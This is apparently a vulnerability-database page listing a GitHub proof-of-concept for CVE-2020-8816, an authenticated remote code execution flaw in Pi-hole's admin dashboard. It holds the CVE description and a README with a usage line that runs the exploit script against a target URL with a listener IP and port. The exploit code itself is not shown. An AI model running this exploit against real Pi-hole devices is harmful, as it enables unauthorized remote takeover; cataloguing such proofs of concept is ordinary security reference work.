CVE-2020-8816 PoC — Pi-hole 操作系统命令注入漏洞

Source

https://github.com/cybervaca/CVE-2020-8816

Associated Vulnerability

Title:Pi-hole 操作系统命令注入漏洞 (CVE-2020-8816)
Description:Pi-hole Web v4.3.2 (aka AdminLTE) allows Remote Code Execution by privileged dashboard users via a crafted DHCP static lease.

Description

Pi-hole Remote Code Execution authenticated Version >= 4.3.2

Readme

# CVE-2020-8816
Pi-hole Remote Code Execution authenticated Version >= 4.3.2

# Usage 

python3 CVE-2020-8816.py -u http://10.10.10.10 -i 10.10.14.172 -p 1337 -pass admin

# Example

 ![](example.png)

# More info

https://natedotred.wordpress.com/2020/03/28/cve-2020-8816-pi-hole-remote-code-execution/

File Snapshot

Remarks

1. It is advised to access via the original source first.

2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.

View subscription plans →

Goal Reached Thanks to every supporter — we hit 100%!